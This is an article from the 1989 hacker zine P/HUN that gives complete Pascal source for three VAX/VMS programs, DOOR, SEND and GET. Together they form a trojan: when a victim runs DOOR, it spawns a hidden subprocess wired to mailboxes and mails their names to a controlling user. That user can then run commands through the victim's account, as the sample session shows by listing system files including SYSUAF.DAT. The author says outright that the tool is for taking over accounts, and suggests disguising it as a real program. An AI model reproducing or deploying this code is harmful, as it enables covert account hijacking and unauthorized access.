home *** CD-ROM | disk | FTP | other *** search
-
- Baliord's VMS Tricks Vol 2: DOOR
- --------------------------------
- By Baliord
-
-
- Phile #7 of P/HUN Magazine Issue #5
-
- The following program was designed to be an example of the use of
- VAX/VMS Mailboxes for multi-process control. Any use of the program
- is the responsibility of the person compiling and/or running the
- program.
-
- In this file, we look at the use of VMS's Mailbox facilities. The VMS
- Mailbox was designed as a way of assisting interprocess communication for
- non-priviledged users. An example of a program that uses the MBX facility
- is PHONE. PHONE uses the mailboxes, along with system-wide logical names, to
- allow users to send information packets back and forth.
- In the last file I discussed how to take advantage of PHONE's "open"
- logical names for confusing users. In this installation, you will see how
- MBX's are VERY useful in taking over people's accounts.
- This program is called DOOR (a name given it by CW, a very helpful friend
- who doesn't have a handle), and it allows the "default_control" user to control
- the account of any person who runs this program.
- The code does the following:
-
- 1) The control_user string is set to the user who will recieve the MAIL that
- this user is now "accessible."
-
- 2) The MBX's necessary are created, using the INDOOR and OUTDOOR logical
- names as storage area for the MBAxxx: strings. (If the person already has
- INDOOR and OUTDOOR defined in their main process, then the program will NOT
- work.)
-
- 3) The program waits 1 second, to assure that the MBX's have time to become
- registered with the system.
-
- 4) INDOOR and OUTDOOR are converted back from logical names to the actual
- device names so the control_user can be told what they are.
-
- 5) The process is spawned off with the first command being to tell the
- control_user what the MBX numbers are.
-
- 6) The program then ends. (At this position, an interesting thing to put
- might be a chain to whatever program name you call it with the version number
- as -1. I.E. DOOR.EXE;-1 would be the program you chain to. Then the program
- would, in effect, create the process, then execute a real program.)
-
- The control_user must then read their mail and create two MBX's that
- correspond to the information given in the mail.
- I.E.
- OUTDOOR=_MBA211: INDOOR=_MBA212:
- would be ASSIGNED at the DCL level as ASSIGN MBA211: OUTDOOR and
- ASSIGN MBA212: INDOOR
- This must be done before the next two programs can be run.
-
- The next two programs are, in order, the SEND program and the program to
- GET the information.
-
- The SEND program assumes that you have entered a
- SEND:==$[directory]SEND.EXE
- command. It takes whatever you typed after the
- SEND command and sends it through to the INDOOR mailbox. The directory in
- the definition above is the directory you are keeping the SEND program in.
-
- The GET program is the next program, and can be run directly. Or you
- can create a
- GET:==$[directory]GET.EXE
- command.
-
- The process for operation is illustrated here.
-
- $ mail
-
- You have 1 new message.
-
- MAIL>
- #1 23-JUL-1989 02:08:03 NEWMAIL
- From: HEAVEN::DEVIL "Heaven doesn't wan't me, so I took over Hell."
- To: GOD
- Subj: OUTDOOR=_MBA230: INDOOR=_MBA231:
-
-
- MAIL> Exit
- $ assign MBA230: outdoor
- $ assign MBA231: indoor
- $ send dir *.com
- $ get
-
- Directory DRC0:[HELL.DEVIL]
-
- LOGIN.COM;1
-
- Total of 1 file.
- $ send mail comp.com god
- $
- New mail on node HEAVEN from DEVIL "Heaven doesn't want me, so I took over Hell."
- $ get
- $ send dir sys$system:*.dat
- $ get
-
- Directory SYS$SYSROOT:[SYSEXE]
-
- DNAMES.DAT;1 MODPARAMS.DAT;1 NETCIRC.DAT;1 NETCONF.DAT;1
- NETLINE.DAT;1 NETLOGING.DAT;1 NETNODE.DAT;1 NETNODE_LOCAL.DAT;1
- NETNODE_REMOTE.DAT;1 NETOBJECT.DAT;1 OLDSITE1.DAT;4
- OLDSITE2.DAT;5 OLDSITE3.DAT;5 OLDSITE4.DAT;5 PARAMS.DAT;5
- SDAT.DAT;1 SETPARAMS.DAT;5 SPSSERR.DAT;4 SPSSINFO.DAT;4
- SPSSUDF9.DAT;1 USAGE.DAT;1
-
- Total of 21 files.
-
- Directory SYS$COMMON:[SYSEXE]
-
- FAKE.DAT;1 JBCSYSQUE.DAT;1 MODPARAMS.DAT;1 RIGHTSLIST.DAT;1
- SYSUAF.DAT;1 VMSMAIL.DAT;1 VMSPARAMS.DAT;1
-
- Total of 7 files.
-
- Grand total of 2 directories, 28 files.
- $ send stop/id=0
- $ sho sys/subproc
- $
-
-
- I think that's enough examples for you to be able to figure out what
- else to do yourself.
-
-
- DOOR.PAS follows:
-
- {
-
- DOOR
- Copyright (c) 1989 by Baliord and CW
-
- This program creates a subprocess with input and output being directed
- to Mailboxes. It is originally intended for use only as a demonstration
- of the power of mailboxes. The authors take no responsibility for the
- mischevious or dangerous use of this program. It is only designed as
- an example of what CAN be done, and is not expected to be actually used.
-
- }
-
- [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
- program door( input, output );
-
- const
- max = 132;
- default_control = 'GOD'; { default user that gets mail message }
- inbox = 'INDOOR'; { Logical name (must be capital). }
- outbox = 'OUTDOOR'; { Logical name (must be capital). }
-
- type
- word_type = [ word ]0..65535;
- string = VarYING [ MAX ] of char;
-
- Var
- subject, user, mail_command, control_user, outdev, indev : string;
- inchannel, outchannel : word_type; { mailbox channels }
- a, length : integer;
-
- [ asynchronous ]
- function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
- %ref name_length : integer := %immed 0;
- %descr equivalence : varying[ l2 ] of char;
- %ref table : integer := %immed 0 ) : integer;
- external;
-
- [ asynchronous ]
- function lib$spawn( %descr command : varying[ l1 ] of char := %immed 0;
- %descr inp : varying[ l2 ] of char := %immed 0;
- out : varying[ l3 ] of char := %immed 0;
- %ref flags : integer := %immed 0;
- %descr process_name : varying[ l4 ] of char := %immed 0;
- %ref pid, status, efn : integer := %immed 0;
- [ unbound, asynchronous ]
- procedure ast( %immed p1 : [ unsafe ]integer ) := %immed 0;
- ast_parameter : [ unsafe ]integer := %immed 0;
- prompt : varying [l5] of char := %immed 0;
- cli : varying [l6] of char := %immed 0 ) : integer;
- external;
-
- procedure sleep(t : real); (* program will sleep 't' *)
- var (* seconds. *)
- t1 : real;
-
- begin
- t1:=clock/1000;
- t:=t1+t;
- while t1<t do
- t1:=clock/1000;
- end;
-
- begin
- control_user := default_control;
-
- $crembx( , inchannel, max, 1000, 0, , inbox ); { Create input mailbox. }
- $crembx( , outchannel, max, 1000, 0, , outbox ); { Create output mailbox. }
-
- sleep( 5 ); { Wait for mailbox to be created. }
-
- lib$sys_trnlog( inbox, length, indev ); { get device name }
- indev.length := length;
-
- lib$sys_trnlog( outbox, length, outdev ); { get device name }
- outdev.length := length;
-
- mail_command:= 'MAIL/NOSELF NL: ' + control_user + '/SUBJECT="' + 'OUTDOOR=' + indev + ' INDOOR=' + outdev + '"';
-
- lib$spawn( mail_command, inbox, outbox, cli$m_nowait ); { Spawn process. }
-
- end.
- -----------------------------------------------------------------------------
- SEND.PAS follows:
-
- {
-
- SEND
-
- Copyright (c) 1989 by Baliord and CW
-
- This program was designed explicitly to send information to a MBX. It
- was originally designed to work with the DOOR program. The authors take
- no responsibility for the ignorant or malicious use of this program. It
- is designed as a sample of what CAN be done with certain features of the
- VMS operating system. It is only designed as a sample, and is not
- intended for use.
-
- }
-
- [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
- program send_slave( output );
-
- const
- mailbox_name = 'OUTDOOR'; { Logical name (must be capital). }
- max = 132;
-
- type
- string_type = VARYING [ MAX ] OF CHAR;
- word_type = [ word ]0..65535;
-
- var
- mailbox_channel : word_type;
- command, mailbox_device_name : string_type;
- length : integer;
-
- [ asynchronous ]
- function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
- %ref name_length : integer := %immed 0;
- %descr equivalence : varying[ l2 ] of char;
- %ref table : integer := %immed 0 ) : integer;
- external;
-
- [ asynchronous ]
- function lib$get_foreign( %descr string : varying[ l1 ] of char;
- %descr prompt : varying[ l2 ] of char := %immed 0;
- %ref out_length, force : integer := 0 ) : integer;
- external;
-
- begin
- if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
- writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
- else
- begin
- mailbox_device_name.length := length;
- $assign( mailbox_device_name, mailbox_channel ); { Assign channel }
- lib$get_foreign( command ); { Get command }
- $qio( , mailbox_channel, io$_writevblk + io$m_noformat + io$m_now,
- ,,, command.body, command.length, ); { Send command. }
- end;
- end.
- -----------------------------------------------------------------------------
- GET.PAS follows:
-
- {
-
- GET
-
- Copyright (c) 1989 by Baliord
-
- This program was designed to read the output from a MBX. In particular
- it is made to work with the DOOR program. The use of this program is
- not the responsibility of the authors of the program, as that it is
- designed as an example of what CAN be done. It is not intended to be
- actually used.
-
- }
-
- [ INHERIT( 'SYS$LIBRARY:STARLET' ) ]
- program read_slave( input,output );
-
- const
- mailbox_name = 'INDOOR'; { Logical name (must be capital). }
- max = 132;
-
- type
- word_type = [ word ]0..65535;
- string_type = VARYING[ MAX ] OF CHAR;
-
- var
- iosb : array [1..2] of integer;
- mailbox_channel : word_type;
- ret,command, mailbox_device_name : string_type;
- length : integer;
-
- [ asynchronous ]
- function lib$sys_trnlog( %descr logical_name : varying[ l1 ] of char;
- %ref name_length : integer := %immed 0;
- %descr equivalence : varying[ l2 ] of char;
- %ref table : integer := %immed 0 ) : integer;
- external;
-
- begin
- if lib$sys_trnlog(mailbox_name,length,mailbox_device_name)>ss$_normal then
- writeln( 'Mailbox ', mailbox_name, ' does not exist.' )
- else
- begin
- $assign( mailbox_device_name, mailbox_channel ); { Assign channel }
- repeat
- command.body:='';
- mailbox_device_name.length := length;
- $qio(,mailbox_channel,io$_readvblk+io$m_now,iosb,,,command.body,80);
- command.length:=80;
- if iosb[1]<>ss$_endoffile then writeln(command);
- until iosb[1]=ss$_endoffile;
- end;
- end.
-
-
- This file was produced specifically for the uses of P/HUN magazine and its
- editor. Any publication outside of that magazine, or distribution seperate
- from that magazine without the express written approval of the author of
- this document OR THE EDITOR OF P/HUN MAGAZINE is in violation of the author's
- wishes. The only exception to this is that you are free to load these files
- onto systems for compilation. However, if you are going to use them, you MUST
- leave the comments intact. When referring to this program, give credit
- where credit is due. ALWAYS leave the disclaimers intact.
-
- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-